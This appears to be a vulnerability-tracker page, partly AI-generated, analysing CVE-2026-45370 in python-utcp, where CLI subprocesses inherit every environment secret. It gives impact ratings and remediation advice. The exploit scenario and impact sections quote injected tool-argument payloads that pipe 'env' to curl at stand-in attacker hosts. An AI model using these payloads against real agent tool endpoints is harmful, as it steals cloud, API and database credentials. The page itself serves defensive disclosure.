Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to LLM agent
-
DeliveryInvoke CLI tool with malicious args
-
ExploitCommand injection executes in subprocess
-
ExecutionFull os.environ dumped
-
PersistSecrets exfiltrated via HTTP
-
ImpactCloud/API credentials stolen
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration Environment variable protection
|
| Exploitation Conditions | Exploitation requires authenticated access to python-utcp tool invocation endpoints (PR:L) and vulnerable version <= 1.1.1 deployed. Attack succeeds against default configurations when chained with CVE-2026-45369 command injection. Host process environment must contain secrets (standard practice in cloud deployments following twelve-factor methodology). No user interaction required (UI:N). Limiting factors: attacker needs low-privilege tool access (not unauthenticated public exposure), and must know or guess tool parameter names accepted by CLI commands. Changed Scope (S:C) indicates secrets from parent process (one trust boundary) leak to subprocess context under attacker control (different boundary). If environment variables are already empty or contain only non-sensitive data, confidentiality impact is reduced, but this contradicts typical deployment patterns for AI agent frameworks where API keys and cloud credentials are environment-configured. |
| Impact | Real-world risk is HIGH despite 7.7 CVSS. Attack vector is network-based requiring only low-privilege authentication (AV:N/AC:L/PR:L), matching typical LLM agent deployments where tool access is the primary privilege boundary. Changed Scope (S:C) and High Confidentiality impact (C:H) accurately reflect cross-context secret exfiltration. CRITICAL AMPLIFIER: GitHub advisory explicitly confirms this vulnerability chains with CVE-2026-45369 (command injection in _substitute_utcp_args), enabling single-request exploitation. Proof-of-concept demonstrates practical exploitation: injecting 'env | curl -d @- attacker.com' into tool arguments exfiltrates all secrets via HTTP POST. No EPSS score or CISA KEV data provided, but GitHub advisory includes working POC code, significantly lowering exploitation barrier. Typical victim environments (AI agent frameworks, LLM tool servers) store high-value secrets in environment variables per twelve-factor app pattern, making impact severe. Attack complexity is genuinely LOW - no race conditions, no cryptographic breaks, just malicious input to a tool parameter. Primary risk qualifier: requires existing tool invocation capability (PR:L), but this is the core use case for python-utcp deployments, not a limiting factor. Defenders should prioritize this over many higher-CVSS issues because exploitation is trivial for anyone with LLM tool access and secrets are immediately actionable (cloud infrastructure access, API billing). |
| Exploit ScenarioDerived | An AI agent exposes python-utcp CLI tools to authenticated LLM users. Attacker crafts tool invocation with parameter value 'x; env | curl -d @- https://attacker-server.com' exploiting CVE-2026-45369 command injection. The subprocess executes with full os.environ copy, dumping AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, and DATABASE_URL to attacker's HTTP endpoint. Attacker uses stolen AWS credentials to access S3 buckets or EC2 instances, LLM keys to rack up API charges, or database URLs to exfiltrate customer data. GitHub advisory provides working proof-of-concept requiring only tool invocation access. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 14, 2026
python-utcp CLI subprocess environment passes all process-level secrets to every tool call. When chained with CVE-2026-45369 command injection, remote authenticated attackers with low-privilege LLM tool access can exfiltrate AWS credentials, API keys, database URLs, and other environment variables in a single HTTP request. Patch available in version 1.1.2 (NVD references 1.1.3 as fixed version). GitHub security advisory confirms proof-of-concept demonstrating credential theft via env dump to attacker-controlled endpoint.
RemediationAI
Upgrade utcp-cli to version 1.1.2 or later (note: NVD references 1.1.3 as fixed version - verify with vendor advisory at https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r which confirms 1.1.2 contains the fix). Patch replaces os.environ.copy() with explicit allowlist model: default inherits only PATH/HOME/LANG (Unix) or PATH/SYSTEMROOT (Windows). Use CliCallTemplate.inherit_env_vars=[] for strict mode preventing all host environment inheritance. If immediate upgrade impossible, remove all sensitive credentials from process environment before starting python-utcp (store secrets in files with restricted permissions, key management services, or vaults). Trade-off: environment-based configuration is common in containerized deployments, so file-based secrets require application refactoring. Audit all CliCallTemplate definitions to ensure env_vars field contains only non-sensitive values. Block or heavily restrict access to CLI tool invocation endpoints if secrets cannot be removed from environment. This compensating control reduces attack surface but limits python-utcp functionality. Deploy network egress filtering to prevent subprocess HTTP callbacks, though sophisticated attackers can use DNS exfiltration or other covert channels.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
python-utcp implements the Universal Tool Calling Protocol for AI agents to invoke CLI tools. The vulnerable _prepare_environment() function in cli_communication_protocol.py unconditionally copies os.environ to subprocess execution environments. This violates CWE-526 (Cleartext Storage of Sensitive Information in Environmental Variables) by exposing secrets like AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, and ANTHROPIC_API_KEY to every subprocess. Unix process inheritance model normally restricts environment visibility, but this implementation actively propagates the full parent environment. The CVSS Changed Scope (S:C) reflects that secrets from the host process (one security authority) leak into attacker-controlled subprocess contexts (different authority). Python's os.environ.copy() returns a mutable dictionary, so this isn't a reference issue but deliberate full replication. The fix introduces an explicit allowlist model (PATH, HOME, LANG on Unix; PATH, SYSTEMROOT on Windows) with opt-in inheritance via CliCallTemplate.inherit_env_vars, shifting from implicit-unsafe to explicit-safe design.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
Executive ViewAI
CVE-2026-45370 in python-utcp allows authenticated attackers to exfiltrate sensitive credentials (AWS keys, API tokens, database URLs) from process environment variables through a subprocess flaw. Organizations using python-utcp in LLM tool environments face immediate risk of credential compromise and lateral movement, requiring urgent patching to prevent unauthorized access to backend systems and data.
Vendor-released patch: version 1.1.2 (NVD references 1.1.3 as fixed version). Apply vendor patch immediately. Interim mitigations pending patch deployment: restrict LLM tool access to accounts with no sensitive credentials in process environment; use credential injection mechanisms (AWS IAM roles, secret management services) instead of environment variables for sensitive data; implement network egress controls to block exfiltration to external endpoints.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-30477
GHSA-5v57-8rxj-3p2r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB